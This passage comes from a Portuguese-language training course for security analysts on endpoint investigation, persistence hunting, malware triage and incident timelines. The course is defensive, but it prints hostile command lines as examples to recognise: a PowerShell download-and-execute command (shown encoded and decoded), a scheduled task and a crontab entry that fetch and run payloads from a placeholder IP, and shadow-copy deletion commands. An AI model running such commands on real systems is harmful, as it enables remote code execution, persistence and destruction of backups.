Outros eventos úteis são 3 para conexões de rede, 11 para criação de arquivo, 12–14 para alterações no registro e 22 para consultas DNS. O evento 3 fica desativado por padrão porque pode gerar um volume considerável. Verifique a configuração ativa antes de interpretar a ausência de um evento como ausência de atividade.

Faça um pivoteamento a partir de um alerta

Comece pelo host, usuário, detecção e árvore de processos. Leia o que iniciou o processo, o que ele iniciou e quais arquivos, valores de registro e destinos ele acessou. Amplie a linha do tempo antes e depois do alerta; a marca temporal de uma detecção não é necessariamente o início da intrusão.

Faça um pivoteamento de um hash para todos os hosts com esse arquivo ou de um destino para todos os hosts que o contataram. A prevalência acrescenta contexto: um programa desconhecido em um de 5.000 hosts é incomum, enquanto um software em todos os hosts pode ser uma implantação padrão. Compare ambos com os softwares e comportamentos aprovados; uma atividade maliciosa disseminada também pode ter alta prevalência.

Ordene a resposta e verifique a visibilidade

O EDR pode isolar um host, interromper um processo, colocar um arquivo em quarentena ou coletá-lo, bloquear um hash e abrir uma sessão de resposta em sistema em execução. O isolamento normalmente preserva a conexão de gerenciamento enquanto restringe outros acessos à rede. Siga o roteiro de resposta e colete as evidências necessárias antes de ações que destruam a memória de processos ou alterem arquivos.

Verifique o estado operacional do sensor quando o console parecer sem atividade: situação da instalação, envio recente de informações, configuração e sinais de adulteração. Um agente interrompido cria uma lacuna de visibilidade e pode, por si só, fazer parte da intrusão.

Principais conclusões

  • O EDR fornece histórico e resposta em endpoints; o XDR reúne fontes; o MDM gerencia dispositivos móveis.
  • Confirme a auditoria e a configuração do sensor antes de tirar conclusões com base em eventos ausentes.
  • Use Process GUIDs para distinguir instâncias de processos quando PIDs forem reutilizados.
  • Faça pivoteamentos por árvores de processos, linhas do tempo de hosts, hashes e destinos.
  • Colete as evidências necessárias e verifique o estado operacional do sensor ao tomar decisões de resposta.

3.2 Analise processos e linhas de comando

O nome de um processo é apenas um campo em uma investigação. Verifique em conjunto o caminho do executável, o processo pai, o usuário, a linha de comando, a assinatura e o hash. Preserve o PID junto com o horário de início ou use um Process GUID para evitar vincular processos diferentes que reutilizaram o mesmo PID.

Compare nome, caminho e processo pai

Um svchost.exe normal é executado a partir de C:\Windows\System32, é iniciado por services.exe e normalmente tem um argumento de grupo -k. lsass.exe é executado a partir do mesmo diretório do sistema como uma única instância, iniciada por wininit.exe; services.exe também tem esse processo pai. O Explorer normalmente é executado por usuário conectado, e o processo pai userinit.exe é encerrado. Por isso, a ausência de um processo pai ainda em execução para o Explorer exige interpretação diferente da de um processo do sistema iniciado pelo Word.

Um nome quase igual, como scvhost.exe, um nome de sistema em C:\Users\Public ou um processo pai incomum para o LSASS sugere disfarce de processos ou arquivos. O Office iniciando um shell é outra pista forte: acompanhe WINWORD.EXE ou EXCEL.EXE até cmd.exe, PowerShell, wscript.exe ou mshta.exe. Em um servidor web, w3wp.exe iniciando um shell de comando sugere um shell web.

Leia o que as ferramentas assinadas são instruídas a fazer

LOLBins são programas legítimos do sistema usados indevidamente por um atacante. certutil.exe pode baixar um arquivo com -urlcache -split -f; mshta.exe pode executar uma aplicação HTML a partir de uma URL; rundll32.exe e regsvr32.exe podem executar código de DLL ou script. bitsadmin.exe pode transferir arquivos, e wmic process call create inicia processos. As assinaturas válidas identificam os publicadores dos programas, enquanto o processo pai e os argumentos revelam o uso deles neste caso.

Flags do PowerShell como -nop, -w hidden, -ExecutionPolicy Bypass e -enc merecem inspeção detalhada. IEX executa texto como código; iwr e DownloadString buscam conteúdo. O registro de blocos de script, evento 4104, pode expor o conteúdo decodificado do script.

Decodifique antes de avaliar

O -EncodedCommand do PowerShell usa texto UTF-16LE codificado em Base64. Para -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, aplique From Base64 no CyberChef e, depois, Decode text as UTF-16LE. O resultado é:

iwr http://198.51.100.7/a.ps1 | iex

iwr obtém o script e o encadeamento o passa para iex executar. Isso pode executar código sem salvar o script baixado como arquivo. Letras separadas por bytes zero após a decodificação Base64 indicam que falta a interpretação UTF-16LE.

Rastreie uma cadeia de processos em ordem: o Outlook abre invoice.docm no Word; o Word inicia um shell de comando; o PowerShell contata o servidor e grava upd.exe; o novo executável inicia o próprio tráfego. Vincule cada etapa aos eventos registrados. Um agente de implantação assinado também pode usar PowerShell codificado para uma instalação aprovada, por isso inspecione o conteúdo decodificado e a autorização.

No Linux, investigue executáveis em /tmp ou /dev/shm, curl encadeado com bash, um shell redirecionado para um socket remoto ou /proc/<pid>/exe marcado como “(deleted)”. Um processo de usuário chamado [kworker/0:1] é suspeito se tiver um executável em disco: threads reais do kernel descendem de kthreadd, PID 2, e não têm arquivo executável.

Principais conclusões

  • Avalie a identidade e a atividade completas do processo, incluindo caminho, processo pai e argumentos.
  • Compare nomes de processos do sistema com os caminhos e processos pais esperados.
  • Uma ferramenta assinada do sistema pode executar uma ação determinada por um atacante.
  • Decodifique o PowerShell de Base64 e depois interprete o resultado como UTF-16LE; inspecione o comando resultante.
  • Acompanhe a linhagem de processos até downloads, criação de arquivos e conexões posteriores.
  • Use caminhos de executáveis e processos pais no Linux para verificar nomes enganosos de processos.

3.3 Encontre mecanismos de persistência

A persistência oferece a um atacante uma forma de recuperar a execução ou o acesso após interrupções como logoff ou reinicialização. Um host pode conter vários mecanismos, cada um com um gatilho separado. Registre o local, o alvo, as marcas temporais e o hash do arquivo antes de remover uma entrada.

Inspecione locais de inicialização automática do Windows

As chaves Run em HKCU\Software\Microsoft\Windows\CurrentVersion aplicam-se ao usuário atual; o usuário pode alterá-las sem direitos de administrador. A chave Run correspondente em HKLM aplica-se aos usuários em geral e precisa de direitos elevados para ser alterada. RunOnce fornece execução única; HKLM RunOnce é executada quando um administrador faz logon após a reinicialização. Entradas Run são acionadas no logon, não quando um arquivo é copiado para o disco.

As pastas de inicialização também executam conteúdo no logon. Verifique AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup do usuário e a pasta compartilhada C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Os eventos de registro 12–14 e o evento de arquivo 11 do Sysmon ajudam a determinar o horário dessas alterações.

Tarefas agendadas podem ser acionadas em um intervalo, em um horário ou por um evento:

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Isso executa o alvo a cada 30 minutos, ou 48 vezes por dia. O nome da tarefa, que parece confiável, não identifica o publicador do alvo. Inspecione o evento 4698 de Segurança quando a auditoria estiver habilitada, o registro Operacional do Agendador de Tarefas e as definições em C:\Windows\System32\Tasks.

Serviços podem iniciar na inicialização, muitas vezes como SYSTEM. Inspecione o evento 7045 de Sistema ou 4697 de Segurança e o caminho de imagem configurado. Um novo serviço que inicia a partir de uma pasta pública ou executa PowerShell merece atenção.

Assinaturas de eventos WMI associam um filtro de evento a uma ação de consumidor e podem persistir sem um arquivo de inicialização; os eventos 19–21 do Sysmon registram os componentes e a vinculação. Inspecione também novas contas e associações ao grupo de administradores, arquivos de servidor web, extensões de navegador e DLLs inesperadas carregadas por sequestro da ordem de busca.

Verifique Linux e macOS

No Linux, inspecione crontab -l de cada usuário, /etc/crontab, /etc/cron.d/, arquivos de unidade systemd em /etc/systemd/system/, arquivos de inicialização do shell e ~/.ssh/authorized_keys. Liste as unidades com systemctl list-unit-files. O macOS usa LaunchAgents e LaunchDaemons com definições em listas de propriedades; verifique os programas e gatilhos configurados.

Em um crontab de usuário, */10 * * * * curl -s http://198.51.100.7/s.sh | bash baixa e executa um script a cada 10 minutos. Os campos são minuto, hora, dia do mês, mês e dia da semana. Uma nova chave SSH cria outra via de acesso mesmo após a redefinição de senha.

Compare e relacione os achados

O Autoruns reúne muitos locais de inicialização automática do Windows em uma única visualização. Ocultar publicadores confiáveis pode reduzir a quantidade de informações em uma primeira análise, mas volte a examinar entradas assinadas quando outras evidências apontarem para elas. Compare com um host íntegro da mesma imagem e com a linha de base aprovada.

Por exemplo, um valor Run chamado OneDriveUpdate aponta para um odu.exe sem assinatura no perfil móvel de um usuário. Os horários de criação do arquivo e do registro são 09:15 UTC, um minuto após a execução de uma macro suspeita. Essa coincidência de horário e o caminho do alvo vinculam a entrada de inicialização automática à intrusão. Continue pelos outros locais após encontrá-la: uma tarefa agendada ou serviço poderia restaurar a mesma carga útil.

Principais conclusões

  • Identifique o gatilho e o alvo de cada entrada de persistência.
  • Verifique chaves Run, pastas de inicialização, tarefas, serviços e assinaturas WMI no Windows.
  • Verifique cron, systemd, arquivos de inicialização do shell e chaves SSH no Linux, além de itens de inicialização do macOS.
  • Compare entradas com uma linha de base comprovadamente segura e com a linha do tempo da infecção.
  • Registre cada mecanismo antes da remoção e continue procurando após o primeiro achado.

3.4 Identifique alterações em arquivos, softwares e configurações de um host

Um host comprometido apresenta alterações além da árvore de processos. Procure novos arquivos e softwares, configurações de segurança enfraquecidas, uso incomum de recursos e arquivos reunidos para transferência. Compare esses elementos com a função do host e a ordem dos eventos.

Analise alterações e a origem dos arquivos

Programas e scripts em C:\Users\Public, %TEMP%, %APPDATA% ou /tmp merecem atenção quando são inesperados. Uma extensão dupla como invoice.pdf.exe oculta a verdadeira função do arquivo. Renomeação em massa, novas extensões e mensagens de exigência de resgate em muitas pastas formam um padrão de ransomware muito mais forte do que um único arquivo desconhecido.

Datas de arquivos podem ser manipuladas. O evento 2 do Sysmon registra alterações no horário de criação de um arquivo, chamadas de adulteração de marcas temporais de arquivos. Compare o histórico de eventos com a data visível antes de concluir que um arquivo de aparência antiga é anterior ao incidente.

O Windows frequentemente adiciona o fluxo de dados alternativo Zone.Identifier aos arquivos baixados da internet. Essa Marca da Web pode incluir a URL de origem, e o evento 15 do Sysmon pode registrar a criação do fluxo. Preserve o fluxo junto com o arquivo ao coletá-lo; métodos de cópia ou extração podem removê-lo, por isso a ausência do fluxo, por si só, é uma evidência fraca sobre a origem.

Procure defesas enfraquecidas

Alterações que merecem investigação incluem proteção em tempo real desativada, novas exclusões do antivírus, regras de firewall para conexões de entrada, RDP recém-habilitado, novos administradores locais e configurações de auditoria reduzidas. O evento 1102 de Segurança registra a limpeza do registro de auditoria de Segurança. Correlacione essas alterações com o usuário ou processo responsável e com manutenções aprovadas.

Comandos como vssadmin delete shadows /all /quiet removem Cópias de Sombra de Volume, e wbadmin delete catalog remove o catálogo de cópias de segurança. Atacantes os usam para prejudicar a recuperação antes da criptografia por ransomware. O aparecimento desses comandos exige escalonamento imediato conforme o roteiro de resposta, enquanto a equipe verifica a atividade de processos e arquivos ao redor do evento.

Compare software e uso de recursos

Um software assinado de suporte remoto ainda pode fornecer acesso não autorizado. Compare o inventário do EDR ou MDM com a lista aprovada e os registros de implantação. Investigue ferramentas de credenciais, scanners ou ferramentas de transferência para a nuvem, como rclone, em um host sem necessidade aprovada delas.

Um minerador pode elevar o uso de CPU ou GPU para perto de 100% e contatar um grupo de mineração, às vezes usando um endereço stratum+tcp://. A alta utilização também ocorre em cargas de trabalho legítimas, por isso associe o consumo de recursos a um processo e a um destino. Preenchimento do disco, esgotamento de memória e falhas repetidas de serviços podem indicar coleta de dados ou tentativas de exploração malsucedidas.

Relacione a preparação ao tráfego de saída

A preparação de dados para transferência reúne material antes da exfiltração. Arquivos compactados .7z ou .rar grandes em uma pasta pública ou temporária, proteção por senha e partes de arquivos compactados de tamanho igual são pistas úteis. Identifique o processo que os criou, os arquivos reunidos e o horário da operação.

Se um processo não aprovado cria partes de um arquivo compactado e depois faz um grande envio, a sequência relaciona a preparação à transferência. Dados de fluxo medem o tráfego, mas não revelam o conteúdo do arquivo compactado. Use evidências de processo e de acesso a arquivos para determinar o que foi reunido; o tamanho do arquivo compactado, por si só, não pode estabelecer quais registros saíram da organização.

Principais conclusões

  • Compare arquivos suspeitos com o histórico registrado de criação, não apenas com as datas visíveis.
  • Inspecione alterações de segurança, limpeza de registros e ações que prejudicam a recuperação.
  • Verifique a aprovação do software mesmo quando uma ferramenta de acesso remoto estiver assinada.
  • Associe o consumo de recursos e os artefatos de preparação de dados a um processo responsável.
4

Analise arquivos suspeitos e a reputação desses arquivos

Um arquivo suspeito pode ser verificado por vários ângulos antes que sua função fique clara. Você identificará o conteúdo, interpretará a reputação em contexto, inspecionará strings e estrutura e observará uma execução controlada em ambiente isolado de análise. Esses métodos fornecem diferentes tipos de evidência: uma assinatura ou importação sugere origem ou capacidade, enquanto a execução registrada mostra comportamento. Em conjunto, eles orientam a próxima pesquisa nos sistemas afetados.

4.1 Verifique a reputação de arquivos, hashes, domínios e endereços IP

A reputação acrescenta contexto externo às evidências locais. Ela pode identificar um arquivo conhecido, revelar um domínio recém-registrado ou mostrar denúncias recentes de abuso. A idade da consulta, as implicações para a privacidade e a relação com este host importam tanto quanto a pontuação.

Identifique o arquivo exato

Um hash criptográfico fornece ao conteúdo de um arquivo um identificador de comprimento fixo. MD5 usa 32 caracteres hexadecimais, SHA-1 usa 40 e SHA-256 usa 64. Ataques práticos de colisão enfraquecem MD5 e SHA-1, por isso use SHA-256 para identificar evidências.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

No Linux, use sha256sum file. Alterar até mesmo um byte muda drasticamente o hash: os prefixos SHA-256 de “invoice” e “Invoice” são 52d6e3de4fa0dcc2 e b832002da297545f. Um atacante pode recompilar uma carga útil ou acrescentar dados a ela para evitar uma correspondência exata de hash. Hashes de similaridade, como ssdeep, comparam semelhanças; o imphash agrupa arquivos PE pelas importações.

Interprete um relatório de reputação

O VirusTotal combina vários mecanismos, relações e relatórios de análise. Um resultado de 58/72 significa que cerca de 81% sinalizaram o arquivo; 3/72 significa cerca de 4%. Uma contagem baixa pode refletir um alarme falso ou uma ameaça nova. Leia os nomes das detecções, a data do primeiro envio, os nomes de arquivo observados, a assinatura e a infraestrutura contatada junto com a proporção. Zero detecções deixam em aberto a questão do comportamento.

Uma consulta de hash evita enviar o conteúdo do arquivo, mas revela qual hash interessa a você. Se o serviço já tiver o arquivo, o hash pode identificá-lo. Envios compartilham a amostra real e podem expô-la a assinantes ou a um atacante que monitore os envios. Consulte o hash primeiro; mantenha conteúdo confidencial em sistemas privados de análise aprovados.

Uma assinatura válida aumenta a confiança na origem, mas ainda são possíveis o roubo de certificados e o uso indevido de ferramentas assinadas do sistema. Verifique tanto a validade da assinatura quanto se o signatário corresponde ao produto declarado. Depois, avalie o comportamento observado do comando ou arquivo.

Analise o contexto de domínio e IP

Dados de registro podem revelar um registrador e uma data de criação mesmo quando os dados do proprietário estão ocultos. O RDAP é o protocolo oficial de dados de registro para domínios genéricos de nível superior após a transição de janeiro de 2025; ferramentas ainda podem chamar essa visualização de “WHOIS”. Um domínio criado dois dias antes de uma campanha de phishing é um sinal de alerta útil. O DNS passivo acrescenta mapeamentos anteriores de endereços, e a transparência de certificados acrescenta nomes de certificados emitidos.

O AbuseIPDB reúne denúncias de abuso de IP. Verifique datas e o serviço denunciado: um IP de nuvem pode ter mudado de cliente. A GeoIP fornece uma localização aproximada da infraestrutura, não uma localização confiável da pessoa por trás de uma VPN, do Tor ou de um serviço de nuvem. Hospedagem compartilhada e CDNs também tornam o bloqueio amplo de IPs prejudicial.

Prefira evidências que resistam a mudanças

A Pirâmide da Dor ordena hashes, IPs, domínios, artefatos de host e rede, ferramentas e técnicas de atacantes por dificuldade crescente de alteração para o atacante. Hashes exatos são fáceis de substituir. Uma detecção do Word iniciando um programa de download e estabelecendo persistência pode continuar útil após a mudança do hash do arquivo e do destino. Mantenha indicadores de curta duração com datas de revisão ou expiração e registre o comportamento que os produziu.

Principais conclusões

  • Use SHA-256 para identificar arquivos exatos e reconheça que arquivos alterados têm novos hashes.
  • Leia proporções de detecção junto com comportamento, datas, assinaturas e relações.
  • Consultas de hash revelam interesse; envios de arquivos revelam a própria amostra.
  • Verifique em contexto a idade do registro, o DNS passivo e denúncias recentes sobre IPs.
  • A GeoIP localiza a infraestrutura aproximadamente, e IPs compartilhados exigem tratamento cuidadoso.
  • Detecções comportamentais resistem a mudanças que tornam ineficaz o bloqueio de hashes ou IPs.

4.2 Realize uma análise estática básica

A análise estática examina um arquivo sem executá-lo. Ela ajuda a identificar o que o arquivo realmente é, quais capacidades pode conter e o que deve ser observado em um ambiente isolado de análise. Mantenha os indícios de capacidade separados dos comportamentos efetivamente observados.

Identifique o tipo e o conteúdo legível

Extensões são fáceis de renomear. Inspecione os bytes do número mágico com file, um visualizador hexadecimal ou a operação Detect File Type do CyberChef:

Bytes iniciaisFormato provável
4D 5A, ou MZFamília de executáveis do Windows
25 50 44 46, ou %PDFPDF
50 4B 03 04, ou PKZIP, incluindo contêineres modernos do Office
7F 45 4C 46Executável ELF do Linux

Um anexo chamado invoice.pdf que começa com MZ está se passando por documento. Confirme a estrutura, pois uma assinatura curta, por si só, é apenas uma verificação inicial do tipo.

O comando GNU strings -a file.exe extrai texto ASCII de todo o arquivo. strings -a -e l file.exe extrai texto UTF-16LE, comum em programas Windows. FLOSS e Sysinternals Strings podem ajudar a obter ambos. Procure domínios, URLs, comandos, caminhos de registro, nomes de arquivos e mensagens de erro. O texto extraído pode não ser usado ou pode ser enganoso, por isso preserve a localização dele e compare-o com o comportamento posterior.

Analise a estrutura e os indícios de empacotamento

Um executável PE tem cabeçalhos, seções como .text, .data e .rsrc e uma tabela de importações das funções que solicita. VirtualAllocEx, WriteProcessMemory e CreateRemoteThread em conjunto sugerem possível injeção de código. URLDownloadToFile e InternetOpenUrl sugerem capacidade de download. Uma marca temporal de compilação pode ser falsificada e precisa de corroboração.

Empacotadores de executáveis compactam ou criptografam código e o desempacotam na memória. Poucas strings, uma lista curta de importações, seções UPX0/UPX1 e alta entropia sugerem empacotamento. A entropia se aproxima de 8 bits por byte em dados de aparência altamente aleatória, mas recursos compactados e instaladores comuns podem ser semelhantes. O empacotamento muda a forma de investigar; ele não determina a conclusão.

Decodifique texto e teste uma correspondência

Receitas do CyberChef podem combinar Base64, hexadecimal, XOR, descompactação e decodificação de URL. Aplique as operações na ordem necessária para o conteúdo. Uma expressão regular como \b(?:\d{1,3}\.){3}\d{1,3}\b extrai texto semelhante a IPv4, mas também corresponde a 999.1.1.1, por isso valide os candidatos.

Uma regra YARA pode combinar características independentes:

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

O arquivo deve começar com MZ e conter ambas as strings; ascii wide aceita a string de download em qualquer uma das duas representações. Teste a regra em arquivos comprovadamente seguros para medir correspondências acidentais. Uma correspondência comprova as condições da regra, enquanto a análise do analista determina o significado delas.

Para documentos, extraia macros com olevba. Para scripts, remova a codificação ou ofuscação como texto. Use as funções, os argumentos e os indicadores resultantes para configurar e interpretar a análise dinâmica.

Principais conclusões

  • Identifique o tipo real de arquivo pela estrutura e pelos bytes, além da extensão.
  • Extraia strings ASCII e UTF-16LE ao examinar amostras do Windows.
  • Use importações e indicadores de empacotamento para formular hipóteses testáveis sobre capacidades.
  • Valide indicadores decodificados e correspondências de expressões regulares.
  • Leia cada condição YARA e teste regras em conteúdo comprovadamente seguro.

4.3 Execute e interprete análises em ambiente isolado

A análise dinâmica executa uma amostra em um ambiente controlado e registra as ações dela. Um ambiente isolado de análise pode revelar o comportamento oculto pelo empacotamento ou o conteúdo ativo de um documento. O relatório descreve aquela execução sob aquela configuração; verifique se a amostra tinha o necessário para agir.

Prepare uma execução útil

Use um ambiente isolado e instrumentado, como Joe Sandbox, Cuckoo ou um ambiente isolado interativo. Separe-o da produção, controle o acesso à rede e restaure um instantâneo limpo após cada execução. Serviços de rede podem ser simulados com INetSim ou FakeNet, ou o tráfego pode ser encaminhado por uma infraestrutura de análise aprovada. Mantenha amostras confidenciais em sistemas privados.

Use o sistema operacional e os aplicativos correspondentes ao alvo. Um documento com macro precisa do ambiente Office adequado; um arquivo compactado pode precisar da senha; um programa pode exigir argumentos, cliques, um processo pai específico ou uma reinicialização. Registre essas configurações e a duração da execução para que outro analista possa interpretar o resultado.

Analise as ações por trás da pontuação

Inspecione a árvore de processos, alterações em arquivos e no registro, atividade de DNS e HTTP, conexões, capturas de tela e hashes de arquivos depositados. Um relatório também pode mostrar mutexes e mapeamentos do ATT&CK. Um mutex coordena o acesso exclusivo a um recurso; malwares às vezes usam um nome de mutex característico para evitar a execução de duas cópias. Softwares legítimos também usam mutexes.

Considere a execução de um documento que produz Word → PowerShell oculto e codificado, uma consulta a cdn-update.example.net, uma requisição HTTP GET para /a.ps1, C:\Users\Public\upd.exe e uma entrada Run que aponta para esse arquivo. Colete o domínio, o IP, a URL, o hash do arquivo depositado, o caminho e o valor Run. O PowerShell sustenta o mapeamento para T1059.001, e a entrada Run sustenta T1547.001. A entrega por anexo de phishing exige evidências separadas de e-mail para T1566.001.

Relacione as afirmações do relatório aos eventos registrados. Uma pontuação geral alta ajuda a priorizar uma amostra, mas as ações dos processos explicam o que aconteceu e quais indicadores são úteis no seu ambiente.

Investigue uma amostra inativa

Um malware pode permanecer inativo além do período de observação, detectar hardware virtual, inspecionar recursos de memória ou CPU, esperar por cliques ou exigir um idioma ou local específico. Um download malsucedido também pode impedir a execução da próxima etapa. Verifique novamente as dependências e os achados estáticos antes de considerar tranquilizador o fato de uma execução estar inativa.

Escolha uma nova execução que teste uma explicação concreta: aumente a duração para testar um atraso, forneça o aplicativo ou os argumentos necessários, acrescente interação ou use outro perfil de sistema operacional. Documente o que mudou. Se permanecer uma incerteza importante, encaminhe a amostra para engenharia reversa especializada.

Leve os achados de volta ao caso

Pesquise nos registros de DNS, proxy, firewall e EDR os domínios, caminhos, hashes e comportamentos relevantes. Atualizações do Windows, verificações de certificados e testes de conectividade de um ambiente isolado são atividade de fundo; diferencie-os das ações causadas pela amostra antes de bloquear destinos.

Um ambiente isolado pode fornecer pistas para pesquisar outros hosts, mas a execução isolada não estabelece quais hosts de produção foram infectados. Relacione as pistas aos eventos locais e ao histórico de processos e preserve esses registros junto com o relatório e o hash da amostra.

Principais conclusões

  • Ajuste dependências, argumentos, interação e duração do ambiente isolado à amostra.
  • Inspecione as ações registradas e os artefatos depositados por trás da pontuação geral.
  • Mapeie a execução e a persistência observadas separadamente das evidências de entrega.
  • Teste motivos específicos para a inatividade e combine achados dinâmicos e estáticos.
  • Filtre o tráfego de fundo antes de usar indicadores do ambiente isolado em pesquisas na produção.
5

Correlacione evidências e avalie se a atividade é maliciosa

Um caso defensável reúne registros sem perder a origem ou exagerar o significado deles. Você alinhará fusos horários e identidades, distinguirá observações de hipóteses e descreverá comportamentos sustentados por evidências com o ATT&CK. A conclusão final combina autorização, evidências técnicas e impacto para o negócio. Anotações claras, referências às evidências e registros de custódia tornam essa avaliação útil para os responsáveis pela resposta que a recebem.

5.1 Correlacione evidências em uma linha do tempo

A correlação reúne registros em um relato de incidente que outro analista pode verificar. O e-mail pode comprovar a entrega, a telemetria do endpoint pode comprovar a execução e as evidências de rede podem comprovar a comunicação. Uma linha do tempo útil separa essas observações das relações causais que você ainda está testando.

Normalize horário e identidade

Converta os horários para UTC e mantenha o fuso original e qualquer diferença conhecida do relógio. Um horário de EDR de 11:14:31 em UTC+2 corresponde a 09:14:31 UTC. Confirme se o console ou a exportação converteu as marcas temporais UTC originais de um sensor. O desvio de relógio em relação ao NTP pode deixar fontes separadas por minutos mesmo após a conversão de fuso horário.

Escolha campos de vinculação que identifiquem o mesmo objeto naquele momento: host, usuário, hash, URL, domínio, Message-ID, uid do Zeek ou Process GUID. Um PID precisa de um horário de início porque pode ser reutilizado. Um IP precisa do histórico de DHCP ou VPN porque uma concessão posterior pode atribuí-lo a outro host. Preserve cada registro de origem ou referência de consulta ao lado da entrada na linha do tempo.

Construa a cadeia de eventos observados

Em um caso, as evidências em UTC são:

  • 09:12:05: uma mensagem com invoice.docm chega a 40 caixas postais.
  • 09:14:10: o usuário em WS-0423 abre o anexo.
  • 09:14:31: o Word inicia PowerShell codificado.
  • 09:14:32–33: o DNS resolve o host de download e uma requisição HTTP GET solicita /a.ps1.
  • 09:15:02: upd.exe é gravado e um valor Run é criado.
  • A partir de 09:20:00: conexões se repetem a cada 300 segundos.
  • Na noite seguinte, 02:10–02:50: 2,4 GB saem para o mesmo IP.

As evidências de processo e arquivo sustentam as relações de execução e persistência. O grande envio precisa de mais investigação para determinar a origem: compartilhar um IP com tráfego anterior é uma evidência mais fraca do que compartilhar uma instância de processo e um canal de aplicação.

Mapeie apenas o que as evidências sustentam

O MITRE ATT&CK fornece nomes padronizados para comportamentos. A mensagem sustenta anexo de phishing direcionado, T1566.001; o PowerShell sustenta T1059.001; a entrada Run sustenta T1547.001. Mapear o tráfego periódico para C2 por protocolo web, T1071.001, exige evidências de HTTP ou HTTPS. Mapear o envio para exfiltração por esse canal de C2, T1041, exige evidências de que o mesmo processo e canal o transportaram.

O ATT&CK não é uma sequência prescrita. Descoberta, acesso a credenciais e movimentação lateral são possíveis pesquisas posteriores, não etapas ausentes que precisam ser inseridas na linha do tempo.

Use lacunas para escolher a próxima consulta

Se o envio superar os arquivos do próprio usuário, investigue se o processo leu compartilhamentos, gerou dados, repetiu transferências ou coincidiu com tráfego legítimo. Identifique o responsável pelo envio e o conteúdo transferido quando estiverem disponíveis. Registre um evento sem explicação como tal, em vez de forçá-lo a se encaixar na primeira hipótese.

Teste ativamente uma explicação alternativa, como uma mudança aprovada ou uma cópia de segurança. O viés de confirmação aparece quando um analista coleta apenas fatos que se encaixam no primeiro diagnóstico. Uma linha do tempo se torna mais útil quando cada relação incerta identifica as evidências que a fortaleceriam ou enfraqueceriam.

Principais conclusões

  • Normalize marcas temporais para UTC e mantenha os fusos das fontes e as diferenças dos relógios.
  • Associe instâncias de processos, atribuições de endereços e outras identidades no horário do evento.
  • Mantenha eventos observados distintos de relações causais propostas.
  • Aplique mapeamentos do ATT&CK somente quando o comportamento que os sustenta for observado.
  • Use lacunas e explicações concorrentes para escolher novas pesquisas de evidências.

5.2 Chegue a uma conclusão e documente os achados

Uma conclusão declara o que as evidências sustentam, qual é o seu nível de confiança e o que deve acontecer em seguida. O registro do incidente deve permitir que outro analista repita a investigação. A classificação de um alerta como de alta severidade, por si só, não fornece uma conclusão nem um nível de confiança defensável.

Classifique o achado

Um verdadeiro positivo alerta corretamente sobre atividade maliciosa. Um falso positivo alerta sobre atividade fora do que a detecção pretendia encontrar. Um verdadeiro positivo benigno detecta corretamente um comportamento real, mas autorizado, como um teste de invasão agendado. Um falso negativo é uma atividade maliciosa que não foi detectada. Use “inconclusivo” quando as evidências ainda não permitirem decidir e identifique os dados que faltam.

Verifique se o comportamento é compatível com o host e o usuário, se foi autorizado, quão comum é e se fontes independentes concordam. Declare confiança alta, média ou baixa com motivos específicos. A confiança descreve a força do achado; a severidade descreve o impacto e a urgência.

Um comando PowerShell codificado, iniciado por um agente de implantação assinado em 3.000 hosts durante uma janela aprovada, é decodificado como uma instalação autorizada. Esse é um verdadeiro positivo benigno quando a regra detecta corretamente o PowerShell codificado. O mesmo padrão iniciado pelo Word em um host, contatando um domínio registrado há dois dias e criando persistência, sustenta uma conclusão de atividade maliciosa com alta confiança.

Escreva uma transferência de atendimento reproduzível

Registre um resumo curto, a linha do tempo em UTC, os hosts e contas afetados, os indicadores neutralizados para exibição segura, as técnicas do ATT&CK sustentadas por evidências, a conclusão e a confiança. Inclua consultas, IDs de alertas, locais das evidências e hashes de arquivos para que outro analista possa chegar aos mesmos registros. Liste as ações já tomadas e os próximos passos recomendados.

Explique por que um alerta foi encerrado. Se uma detecção disparar repetidamente para atividade fora do escopo pretendido, forneça exemplos e contexto aos engenheiros de detecção para o ajuste fino. O encerramento sem explicação oculta tanto ataques não detectados quanto esforço desperdiçado de forma recorrente.

Compartilhe indicadores com contexto

Associe uma data de expiração ou revisão a indicadores de domínio e IP, pois a propriedade e o uso mudam. Evite bloqueios indiscriminados de infraestrutura compartilhada, como CDNs. Hashes exatos identificam uma versão de arquivo, enquanto detecções baseadas em comportamento podem identificar variantes. Preserve a relação entre um indicador, o comportamento observado e o nível de confiança ao compartilhá-lo.

Preserve evidências e faça o escalonamento

Encaminhe um achado malicioso confirmado conforme o roteiro de resposta a incidentes, com severidade baseada nos ativos afetados e no impacto. Preserve mensagens originais, capturas, exportações de endpoints e amostras coletadas. Registre o SHA-256 de cada arquivo e quem o coletou ou transferiu e quando. Esses registros de custódia documentam o tratamento das evidências; o hash permite verificar a integridade.

O isolamento por EDR geralmente é preferível a desligar o host porque restringe a comunicação enquanto mantém a memória e uma via de gerenciamento. Encerrar processos e reiniciar o host também altera evidências voláteis. Siga as prioridades de contenção do roteiro, colete o que o caso exige e registre o horário de cada ação de resposta para que analistas posteriores possam distinguir a atividade do atacante da resposta.

Principais conclusões

  • Diferencie detecções maliciosas, comportamentos autorizados detectados e erros de detecção.
  • Declare a confiança com base nas evidências e a severidade com base no impacto.
  • Inclua as consultas e referências às evidências necessárias para reproduzir a conclusão.
  • Forneça contexto e datas de revisão para indicadores compartilhados.
  • Preserve originais, hashes e registros de custódia ao fazer o escalonamento.

Exercícios resolvidos de Análise de rede, e-mail e endpoints

5 Lições Interativas

1

Acompanhe uma estação de trabalho da captura à conclusão sobre o tráfego

17 passos
Escolha evidências, reconstrua uma troca e teste um padrão de rede suspeito.
  1. 1
    IntroduçãoDescubra o que causou o tráfego

    Uma estação de trabalho começou a contatar um novo servidor, e um alerta de rede menciona um possível shell reverso. Você escolherá um ponto de captura útil, lerá a troca, verificará o volume ao longo de um período maior e confirmará a que o alerta correspondeu. Capturas de pacotes mostram o conteúdo, enquanto registros de fluxo de rede mantêm apenas quem se comunicou, quando e quanto foi transferido, mas abrangem um período anterior maior.

